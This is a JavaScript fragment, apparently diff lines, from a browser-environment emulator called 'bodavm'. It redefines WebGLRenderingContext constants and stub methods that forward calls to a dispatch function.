-bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:36178},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:36179},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:36180},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:36181},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:36048},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", {configurable:false, enumerable:true, writable:false, value:36049},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", {configurable:false, enumerable:true, writable:false, value:36050},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", {configurable:false, enumerable:true, writable:false, value:36051},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_ATTACHMENT0", {configurable:false, enumerable:true, writable:false, value:36064},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36096},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36128},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:33306},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NONE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_COMPLETE", {configurable:false, enumerable:true, writable:false, value:36053},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36054},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36055},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", {configurable:false, enumerable:true, writable:false, value:36057},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_UNSUPPORTED", {configurable:false, enumerable:true, writable:false, value:36061},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36007},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_RENDERBUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_FRAMEBUFFER_OPERATION", {configurable:false, enumerable:true, writable:false, value:1286},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_FLIP_Y_WEBGL", {configurable:false, enumerable:true, writable:false, value:37440},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", {configurable:false, enumerable:true, writable:false, value:37441},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONTEXT_LOST_WEBGL", {configurable:false, enumerable:true, writable:false, value:37442},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", {configurable:false, enumerable:true, writable:false, value:37443},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BROWSER_DEFAULT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37444},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "activeTexture", {configurable:true, enumerable:true, writable:true, value:function activeTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "activeTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "attachShader", {configurable:true, enumerable:true, writable:true, value:function attachShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "attachShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindAttribLocation", {configurable:true, enumerable:true, writable:true, value:function bindAttribLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindAttribLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function bindRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendColor", {configurable:true, enumerable:true, writable:true, value:function blendColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendColor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendEquation", {configurable:true, enumerable:true, writable:true, value:function blendEquation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendEquation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendEquationSeparate", {configurable:true, enumerable:true, writable:true, value:function blendEquationSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendEquationSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendFunc", {configurable:true, enumerable:true, writable:true, value:function blendFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendFuncSeparate", {configurable:true, enumerable:true, writable:true, value:function blendFuncSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendFuncSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bufferData", {configurable:true, enumerable:true, writable:true, value:function bufferData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bufferData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bufferSubData", {configurable:true, enumerable:true, writable:true, value:function bufferSubData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bufferSubData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "checkFramebufferStatus", {configurable:true, enumerable:true, writable:true, value:function checkFramebufferStatus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "checkFramebufferStatus", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compileShader", {configurable:true, enumerable:true, writable:true, value:function compileShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compileShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compressedTexImage2D", {configurable:true, enumerable:true, writable:true, value:function compressedTexImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compressedTexImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compressedTexSubImage2D", {configurable:true, enumerable:true, writable:true, value:function compressedTexSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compressedTexSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "copyTexImage2D", {configurable:true, enumerable:true, writable:true, value:function copyTexImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "copyTexImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "copyTexSubImage2D", {configurable:true, enumerable:true, writable:true, value:function copyTexSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "copyTexSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createBuffer", {configurable:true, enumerable:true, writable:true, value:function createBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createFramebuffer", {configurable:true, enumerable:true, writable:true, value:function createFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createProgram", {configurable:true, enumerable:true, writable:true, value:function createProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function createRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createShader", {configurable:true, enumerable:true, writable:true, value:function createShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createTexture", {configurable:true, enumerable:true, writable:true, value:function createTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "cullFace", {configurable:true, enumerable:true, writable:true, value:function cullFace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "cullFace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteBuffer", {configurable:true, enumerable:true, writable:true, value:function deleteBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteFramebuffer", {configurable:true, enumerable:true, writable:true, value:function deleteFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteProgram", {configurable:true, enumerable:true, writable:true, value:function deleteProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function deleteRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteShader", {configurable:true, enumerable:true, writable:true, value:function deleteShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteTexture", {configurable:true, enumerable:true, writable:true, value:function deleteTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthFunc", {configurable:true, enumerable:true, writable:true, value:function depthFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthMask", {configurable:true, enumerable:true, writable:true, value:function depthMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthMask", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthRange", {configurable:true, enumerable:true, writable:true, value:function depthRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "detachShader", {configurable:true, enumerable:true, writable:true, value:function detachShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "detachShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "disable", {configurable:true, enumerable:true, writable:true, value:function disable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "disable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "enable", {configurable:true, enumerable:true, writable:true, value:function enable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "enable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "finish", {configurable:true, enumerable:true, writable:true, value:function finish (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "finish", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "framebufferRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function framebufferRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "framebufferRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "framebufferTexture2D", {configurable:true, enumerable:true, writable:true, value:function framebufferTexture2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "framebufferTexture2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "frontFace", {configurable:true, enumerable:true, writable:true, value:function frontFace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "frontFace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "generateMipmap", {configurable:true, enumerable:true, writable:true, value:function generateMipmap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "generateMipmap", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getActiveAttrib", {configurable:true, enumerable:true, writable:true, value:function getActiveAttrib (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getActiveAttrib", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getActiveUniform", {configurable:true, enumerable:true, writable:true, value:function getActiveUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getActiveUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getAttachedShaders", {configurable:true, enumerable:true, writable:true, value:function getAttachedShaders (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getAttachedShaders", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getAttribLocation", {configurable:true, enumerable:true, writable:true, value:function getAttribLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getAttribLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getBufferParameter", {configurable:true, enumerable:true, writable:true, value:function getBufferParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getBufferParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getContextAttributes", {configurable:true, enumerable:true, writable:true, value:function getContextAttributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getContextAttributes", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getError", {configurable:true, enumerable:true, writable:true, value:function getError (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getError", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getExtension", {configurable:true, enumerable:true, writable:true, value:function getExtension (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getExtension", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getFramebufferAttachmentParameter", {configurable:true, enumerable:true, writable:true, value:function getFramebufferAttachmentParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getFramebufferAttachmentParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getParameter", {configurable:true, enumerable:true, writable:true, value:function getParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getProgramInfoLog", {configurable:true, enumerable:true, writable:true, value:function getProgramInfoLog (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getProgramInfoLog", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getProgramParameter", {configurable:true, enumerable:true, writable:true, value:function getProgramParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getProgramParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getRenderbufferParameter", {configurable:true, enumerable:true, writable:true, value:function getRenderbufferParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getRenderbufferParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderInfoLog", {configurable:true, enumerable:true, writable:true, value:function getShaderInfoLog (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderInfoLog", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderParameter", {configurable:true, enumerable:true, writable:true, value:function getShaderParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderPrecisionFormat", {configurable:true, enumerable:true, writable:true, value:function getShaderPrecisionFormat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderPrecisionFormat", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderSource", {configurable:true, enumerable:true, writable:true, value:function getShaderSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getSupportedExtensions", {configurable:true, enumerable:true, writable:true, value:function getSupportedExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getSupportedExtensions", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getTexParameter", {configurable:true, enumerable:true, writable:true, value:function getTexParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getTexParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getUniform", {configurable:true, enumerable:true, writable:true, value:function getUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getUniformLocation", {configurable:true, enumerable:true, writable:true, value:function getUniformLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getUniformLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getVertexAttrib", {configurable:true, enumerable:true, writable:true, value:function getVertexAttrib (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getVertexAttrib", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getVertexAttribOffset", {configurable:true, enumerable:true, writable:true, value:function getVertexAttribOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getVertexAttribOffset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "hint", {configurable:true, enumerable:true, writable:true, value:function hint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "hint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isBuffer", {configurable:true, enumerable:true, writable:true, value:function isBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isContextLost", {configurable:true, enumerable:true, writable:true, value:function isContextLost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isContextLost", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isEnabled", {configurable:true, enumerable:true, writable:true, value:function isEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isEnabled", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isFramebuffer", {configurable:true, enumerable:true, writable:true, value:function isFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isProgram", {configurable:true, enumerable:true, writable:true, value:function isProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function isRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isShader", {configurable:true, enumerable:true, writable:true, value:function isShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "isTexture", {configurable:true, enumerable:true, writable:true, value:function isTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "isTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "lineWidth", {configurable:true, enumerable:true, writable:true, value:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "lineWidth", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "linkProgram", {configurable:true, enumerable:true, writable:true, value:function linkProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "linkProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "pixelStorei", {configurable:true, enumerable:true, writable:true, value:function pixelStorei (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "pixelStorei", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "polygonOffset", {configurable:true, enumerable:true, writable:true, value:function polygonOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "polygonOffset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "readPixels", {configurable:true, enumerable:true, writable:true, value:function readPixels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "readPixels", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "renderbufferStorage", {configurable:true, enumerable:true, writable:true, value:function renderbufferStorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "renderbufferStorage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "sampleCoverage", {configurable:true, enumerable:true, writable:true, value:function sampleCoverage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "sampleCoverage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "shaderSource", {configurable:true, enumerable:true, writable:true, value:function shaderSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "shaderSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilFunc", {configurable:true, enumerable:true, writable:true, value:function stencilFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilFuncSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilFuncSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilFuncSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilMask", {configurable:true, enumerable:true, writable:true, value:function stencilMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilMask", arguments)}},'prototype'); 